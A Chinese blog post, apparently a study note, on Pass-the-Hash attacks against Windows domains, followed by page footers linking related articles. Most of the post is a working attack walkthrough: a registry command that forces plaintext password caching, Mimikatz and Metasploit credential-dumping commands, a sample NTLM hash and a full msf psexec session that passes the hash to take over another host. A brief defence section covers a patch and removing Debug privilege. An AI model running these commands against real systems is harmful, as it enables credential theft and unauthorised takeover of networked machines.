哈希传递攻击利用(Pass The Hash)
最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。
0x01 哈希传递攻击概念
有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。
可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。
在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。
NTLM Hash与NTLM
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
注:
mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash
Windows Server 2008启用LM hash的方法:
gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项
找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
系统下一次更改密码后,就能够导出LM hash(已经被弃用了)
0x02 利用方法
1.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。
privilege::debug
sekurlsa::logonpasswords
复制NTLM Hash的值
sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390
完成之后会弹出cmd.exe,或者重新开一个命令行
也可以尝试列出被哈希传递攻击的域内靶机的c盘内容
利用msf进行哈希传递攻击
msf内置的mimikatz获取hash(需要管理员权限)
在msf中也内置有mimikatz,以下命令都可以在msf中获取hash
hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv 获取的是hash值
tspkg tspkg凭证相关的模块
wdigest 读取内存中存放的账号密码明文信息
kerberos kerberos相关的模块
ssp 获取的是明文信息
mimikatz的原生命令在这里有些改动
mimikatz_command 模块可以让我们使用mimikatz的全部功能。
meterpreter > mimikatz_command -f a:: 输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list 列出应用进程
meterpreter > mimikatz_command -f service::list 列出服务
例如
mimikatz_command -f samdump::hashes 获取hash
建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,
msf的kiwi模块(需要系统权限)
kiwi就是msf内置的mimikatz模块的升级版
但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。
使用前先在meterpreter下加载kiwi模块
使用命令creds_kerberos
列举所有kerberos凭据
可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。
再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
可以看到成功列出用户密码hash
kiwi模块命令集合
creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码
msf psexec模块
PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)
msf中有3个psexec模块都可以进行Hash传递利用:
# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command
# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec
# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh
再使用pesxec模块之前要保证:
- 开启445端口 SMB服务
- 开启admin$共享
使用之前板块获取到的管理员NTLM Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390
这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run
这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧.....
0x03 防范措施
KB2871997补丁的影响
防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递
防御 mimikatz 攻击
mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。
所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。
哈希传递攻击利用(Pass The Hash)的更多相关文章
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- NTLM协议与Pass the Hash的爱情
0x01.前言 NTLM使用在Windows NT和Windows 2000 Server或者之后的工作组环境中(Kerberos用在域模式下).在AD域环境中,如果需要认证Windows NT系统, ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
- Windows NTLM Hash和Hash传递、Key传递攻击
Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
- PtH(hash传递攻击)原理探秘
背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...
- K:hash(哈希)碰撞攻击
相关介绍: 哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表.理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值 ...
- 域渗透:pth(pass the hash)
pass the hash原理: 在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUse ...
- PHP内核探索:哈希碰撞攻击是什么?
最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招.本文结合PHP内核源码,聊一聊这种攻击的原理及实现. 哈希表碰撞攻击的基本 ...
随机推荐
- Java实现第八届蓝桥杯国赛 数字划分
标题:数字划分 w星球的长老交给小明一个任务: 1,2,3-16 这16个数字分为两组. 要求: 这两组数字的和相同, 并且,两组数字的平方和也相同, 并且,两组数字的立方和也相同. 请你利用计算机的 ...
- Java实现 蓝桥杯 算法训练 My Bad(暴力)
试题 算法训练 My Bad 问题描述 一个逻辑电路将其输入通过不同的门映射到输出,在电路中没有回路.输入和输出是一个逻辑值的有序集合,逻辑值被表示为1和0.我们所考虑的电路由与门(and gate, ...
- Java实现 LeetCode 543. 二叉树的直径(遍历树)
543. 二叉树的直径 给定一棵二叉树,你需要计算它的直径长度.一棵二叉树的直径长度是任意两个结点路径长度中的最大值.这条路径可能穿过也可能不穿过根结点. 示例 : 给定二叉树 1 / \ 2 3 / ...
- Java实现 蓝桥杯VIP 基础练习 分解质因数
题目介绍 问题描述 求出区间[a,b]中所有整数的质因数分解. 输入格式 输入两个整数a,b. 输出格式 每行输出一个数的分解,形如k=a1a2a3-(a1<=a2<=a3-,k也是从小到 ...
- Java实现 LeetCode 429 N叉树的层序遍历
429. N叉树的层序遍历 给定一个 N 叉树,返回其节点值的层序遍历. (即从左到右,逐层遍历). 例如,给定一个 3叉树 : 返回其层序遍历: [ [1], [3,2,4], [5,6] ] 说明 ...
- Java实现k个数乘(cheng)(自然数的k乘积问题)
k个数乘(cheng) 题目描述 桐桐想把一个自然数N分解成K个大于l的自然数相乘的形式,要求这K个数按从小到大排列,而且除了第K个数之外,前面(K-l)个数是N分解出来的最小自然数.例如:N=24, ...
- Java实现 蓝桥杯VIP 算法训练 字符串编辑
算法训练 字符串编辑 时间限制:1.0s 内存限制:512.0MB 问题描述 从键盘输入一个字符串(长度<=40个字符),并以字符 '.' 结束.编辑功能有: 1 D:删除一个字符,命令的方式为 ...
- Java实现 蓝桥杯VIP 算法提高 笨小猴
算法提高 笨小猴 时间限制:1.0s 内存限制:256.0MB 问题描述 笨小猴的词汇量很小,所以每次做英语选择题的时候都很头疼.但是他找到了一种方法,经试验证明,用这种方法去选择选项的时候选对的几率 ...
- Java实现 LeetCode 111 二叉树的最小深度
111. 二叉树的最小深度 给定一个二叉树,找出其最小深度. 最小深度是从根节点到最近叶子节点的最短路径上的节点数量. 说明: 叶子节点是指没有子节点的节点. 示例: 给定二叉树 [3,9,20,nu ...
- Java实现 蓝桥杯 基因牛的繁殖
基因牛的繁殖 张教授采用基因干预技术成功培养出一头母牛,三年后,这头母牛每年会生出1头母牛, 生出来的母牛三年后,又可以每年生出一头母牛.如此循环下去,请问张教授n年后有多少头母牛? 以下程序模拟了这 ...